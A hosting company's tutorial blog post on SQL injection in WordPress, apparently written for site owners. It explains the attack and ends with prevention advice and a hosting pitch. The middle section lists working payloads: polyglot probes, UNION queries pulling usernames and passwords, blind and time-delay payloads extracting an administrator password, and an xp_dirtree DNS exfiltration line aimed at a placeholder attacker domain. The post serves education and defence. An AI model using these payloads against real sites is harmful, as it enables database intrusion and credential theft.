Tutorials UPDATED: 02 May 2023

SQL Injections And WordPress

Tassos Antoniou

9 min read

WordPress is becoming more widely used in data-driven applications. As a result, a vulnerability known as SQL injection has become a major threat. In this article, we will take a look at some real-world examples of SQL injection attacks and examine what you can do to protect your website from them.

What is an SQL Injection Attack?

An SQL injection attack is one in which the attacker sends SQL commands to the back-end database, typically with the intention of retrieving data. If an attacker successfully exploits the SQL injection vulnerability, they will gain unrestricted access to the database server and all of the contained information.

As a result, the database executes the code of the attacker and enables them to make changes and cause damage to a website.

The SQL injection vulnerability

When the code does not properly protect the user inputs and the database application receives and uses that input to generate database queries, this creates a vulnerability known as SQL injection.

The result of neglecting to strip or encode characters that could modify the query structure can lead to such attacks. The attacker can insert and execute malicious SQL statements, which might have potentially disastrous results.

Real-World Examples of SQL Injections

We will try to explain how this works by giving a simple example.

Let’s say you run an online shop. When a visitor chooses a product category, for example ‘Watches’, the corresponding URL would be something like this:

https://the-eshop.com/products/watches/

This is the canonical URL though. The real URL would be like this:

https://the-eshop.com/products?category=watches

Now the corresponding query to that URL would look like this:

SELECT * FROM products WHERE category = 'watches' AND released = 1

What this query does is select all the details (SELECT *) from the “products” database table (FROM products) and retrieve those that belong to the “watches” category (WHERE category = ‘watches’) and that are released (AND released = 1).

This also means that if you attempt to enter category=shoes after https://the-eshop.com/products? , you will be redirected to the category with the slug “shoes”, if it exists.

But the problem starts when the attackers enter a string that includes special characters. And if the data is sent to the query without being protected first, it creates a vulnerability. The attackers can do things they are not normally allowed to do with your database by using the appropriate input.

If the attacker enters category=watches'-- then the query will become:

SELECT * FROM products WHERE category = 'watches'--' AND released = 1

In SQL, the double dash is used to comment what follows. So what the above actually does is get all the products of the category with the slug “watches ” no matter if they are released or not. In another scenario, in the same way, the attacker could drop a whole table or do worse damage.

Some insights and detailed examples

Usually before an SQL injection happens, most people will try “polygots” to identify possible arguments that might be vulnerable to SQLi attacks. SQLi polygots usually contain many characters that would “break” the SQL query if entered without any sanitization. Since using polygots is a way of identifying possible arguments that you could exploit later, the SLEEP command is usually used in order to introduce a delay, since you might have found an argument that has an SQLi vulnerability, but the result of the query is not visible (ex. Blind SQL injection and Second Order SQL injection)

Here is how polygots may look like:

SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),​SLEEP(1)))OR"*/
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

After an SQLi has been identified, the payload used to gather data is based on the type of SQLi vulnerability found. Some common examples are :

Scenario 1 – In Band SQLi

In this case, the output of the SQLi is reflected on the webpage, so by injecting on the vulnerable argument the attacker can directly get the results of the query. This can be combined with the UNION to get data from other tables of the database.

Try our Award-Winning WordPress Hosting today!

Vulnerable URL : https://shop.com?category=gifts
Vulnerable Query : SELECT name, description FROM products WHERE category = 'Gifts'
The attack would start with :

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

To find the number of arguments available (and make UNION work) and once identified it should continue like this :
https://shop.com?category=gifts' UNION SELECT username, password FROM users--

Scenario 2 – Blind SQLi

In this case, its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors, but the behavior of the application changes.
Example: A website uses a cookie TrackUser=XXXX and based on this value either displays a “Welcome” message or not. If this cookie is vulnerable to SQL injection, the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackUser was submitted), then a “Welcome” message is displayed.
To identify the vulnerability, we could use the payloads below

TrackUser=XXX' AND '1'='1
TrackUser=XXX' AND '1'='2

If the above payloads resulted in different behavior from the application, then it is vulnerable to blind SQLi and could be exploited using different techniques based on the context of the application. Some common payloads would be :

  1. Using Conditional Responses
TrackUser=XXX' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
TrackUser=XXX' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
  1. Using Time Delay
TrackUser=XXX'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
  1. Using DNS lookup
Microsoft SQL Database can do DNS lookups. 
We can set up a DNS server for our custom domain and pass the result of the query as a subdomain. 
Then by looking at the logs of our DNS server we can read the output of the SQLi 
TrackUser=XXX'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.attackerWebsite.com/a'--

Here is a great source if you want to find more polygots and SQLi statements: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection/Intruder

The impact of SQL injection attacks

Attacks using SQL injection are extremely problematic since they have the potential to damage the integrity of the entire database or even the server itself.

With the same logic we explained above, it is possible for the attacker to get unauthorized access to sensitive data, such as passwords, credit card numbers, or other personal user information. They can retrieve hidden data or data from other database tables, change the logic of the query and more.

This can result in reputational damage as well as long-term compromise, both of which, depending on the sort of attack, may go undiscovered for a considerable amount of time.

How to Prevent SQL Injections

Let’s see what we can do to protect our website from SQL injections.

Keep your WordPress Core, Plugins and Themes up-to-date

One of the most effective ways to prevent SQL injection exploits is to always use the most recent version of WordPress. This is because newer versions of WordPress likely already included fixes to prevent the most common types of attacks.

The same goes for your plugins and themes. Reputable authors are a0 less likely to release products that contain security flaws in the first instance whilst b) are probably going to patch any issues should they arise asap.

Choose Plugins Wisely

Since input sanitization is so important, take your time to review the plugins you want to use in each case. You will have to make sure that their developers have professionally coded the plugin and taken security best practices into account.

We have more information on this and also other top tips for securing your WordPress website in this guide.

Use WordPress Prepared Statements

When working with WordPress, you can also benefit from using prepared statements which are a way to execute an SQL query safely.

A generic rule of thumb regarding WordPress and protection from SQL injections is to always use the WordPress built-in functions when interacting with the database.

Use a reliable and secure Managed WordPress Hosting

A secure WordPress hosting service can provide additional protection against SQL injections. At Pressidium, our advanced WordPress-focused Web Application Firewall (WAF) can handle multiple types of threats. Among other things (content filtering, HTTP request inspection, DDOS and malware protection, etc.), it will detect and mitigate a large number of SQL-Injection attacks. We offer hassle-free threat prevention so your time is spent building your business with peace of mind.

Conclusion

SQL injections are among the most common types of WordPress attacks (along with XSS attacks). As such it’s vital you take the steps required to avoid suffering such an attack on your website. This is especially critical if you’re not using a host that helps mitigate these types of events for you.

Start Your 14 Day Free Trial

Try our award winning WordPress Hosting!

OUR READERS ALSO VIEWED:

See how Pressidium can help you scale
your business with ease.